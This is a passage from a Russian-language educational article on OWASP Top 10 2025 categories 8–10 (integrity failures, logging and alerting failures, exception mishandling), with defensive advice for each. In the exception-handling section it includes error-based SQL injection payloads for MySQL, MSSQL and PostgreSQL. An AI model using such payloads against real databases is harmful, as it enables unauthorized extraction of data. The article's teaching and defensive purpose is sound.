В случае software or data integrity failures риски связаны с отсутствием проверки целостности полученных данных. Так, уязвимости могут возникать в результате небезопасно настроенного CI/CD, загружающего код из недоверенных источников без их верификации (например, без проверки цифровой подписи). Также у многих современных приложений есть функции автоматического обновления, при которых обновления загружаются без достаточной проверки целостности и применяются к ранее доверенному приложению. Это позволяет злоумышленникам модифицировать ПО и распространить собственное обновление на все инсталляции.
Эта категория уязвимостей также связана с небезопасной десериализацией данных, когда объекты сериализуются в структуру, доступную для просмотра и модификации атакующим. Таким образом происходит нарушение целостности данных, принятых приложением.
Как защититься от software or data integrity failures
Следует использовать цифровые подписи для проверки неизменности используемого софта, а также обеспечить установку библиотек и зависимостей исключительно из доверенных репозиториев.
Следует внимательно контролировать все используемые источники информации. Работая с фреймворками и библиотеками, необходимо смотреть на внутреннее содержание, а не бездумно использовать, например, #include "/lib/megacrypt.h". Без этого невозможно создать адекватные процессы разработки и обеспечить кибербезопасность.
9. Logging and alerting failures A09:2025
Этот пункт топ‑10 в первую очередь относится к мониторингу веб‑приложений и их окружения. Часто возникают ситуации, когда атакующий эксплуатирует уязвимость и пытается пробить веб‑приложение — например, через атаку RCE. Однако, если разработчики, инженеры, специалисты кибербезопасности, архитекторы и другие специалисты не предусмотрели вопрос сбора, агрегации, а также обработки данных, это ведет к рискам типа logging and alerting failures, которые основаны на «слепоте» системы: атака происходит, но никто об этом не узнаёт своевременно.
Как защититься от logging and alerting failures
Без адекватно выстроенных процессов логирования и оповещений злоумышленник может атаковать инфраструктуру, закрепиться в системе и находиться внутри сети месяцами или даже годами. Поэтому важно организовать грамотный мониторинг и сбор логов, направлять события безопасности в SIEM и постоянно анализировать весь поток алертов, чтобы не пропустить потенциальную эксплуатацию системы и масштабирование атаки.
10. Mishandling or exceptional conditions A10:2025
Как и в случае с уязвимостями software or data integrity failures, которые используются в supply attack chain, категория mishandling or exceptional conditions тесно связана с insecure design и security misconfiguration.
Mishandling or exceptional conditions — это критическая архитектурная ошибка, которая часто приводит к утечке данных или полному отказу в обслуживании. Проблема возникает, когда веб‑приложение сталкивается с ошибкой, которую разработчик не предусмотрел или обработал неправильно (exception). Вместо безопасного завершения работы или вывода нейтрального сообщения веб‑приложение ведет себя непредсказуемо. Именно это обобщает векторы эксплуатации, которые используются на уровне работы с ошибками. Атакующий пытается добиться аномального поведения за счет триггера ошибки и далее работает с получившимся результатом, открывая для себя новые возможности для потенциального проведения успешной эксплуатации и понимания логики работы веб‑приложения.
Яркий пример — error‑based SQL injection. Хотя эта категория уязвимостей занимает в топе 5‑е место, эта инъекция относится и к mishandling or exceptional conditions, потому что работает на основе ошибок и исключений. Метод эксплуатации error‑based SQL injection заключается в том, что уязвимость возникает, когда веб‑приложение отображает ошибку SQL.
Пример MySQL:
select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x;
Пример MSSQL:
SELECT CAST((select name from PurchaseOrderDetail) as int);
Пример PostgreSQL:
SELECT CAST((SELECT kind from films limit 1) as integer);
Когда атакующий запрашивает несоответствующий тип данных, путь или кодировку, триггерится ошибка, которую разработчик не предусмотрел в exception, сразу выведя рефлект. Из‑за этого атакующий может видеть часть информации и эксплуатировать SQL injection. Это практически равносильно union‑based SQL injection, только с учетом меньшего отображения информации в выводе.
Как защититься от mishandling or exceptional conditions
Важно тщательно прорабатывать все возможные ошибки и исключения, чтобы не дать атакующему нужную ему информацию и не остановить работоспособность приложения. Именно поэтому исключения при ошибках чаще всего сегментируются и разделяются на error‑коды. Выделяются группы, заводятся на мониторинг, затем на них помещаются специальные контроллеры, которые следят за error‑кодами. В случае проблемы контроллеры перезапускают нужные модули веб‑приложения или, наоборот, разгружают их либо начинают алертить. Благодаря такому подходу и обеспечивается безопасность веб‑приложения.
За 5 лет OWASP Top 10 не сильно изменился: некоторые категории поменялись местами, а другие остались на прежних позициях. При этом OWASP Top 10 — это лишь отражение реальной картины в статистике и общих тенденциях. Он собирает и анализирует известные практики и общие паттерны. Поэтому, например, расположение supply attack сhain на 3‑м месте не означает, что все ПО компании скоро могут заразить.
Точно так же не нужно недооценивать категорию injection. Спуск инъекций вниз на несколько строк в топе еще не означает, что злоумышленники больше их не эксплуатируют. Эксплуатируют, причем при любой удобной возможности. Важно быть готовым, знать частые уязвимости и помнить: ни одно веб‑приложение не является полностью безопасным.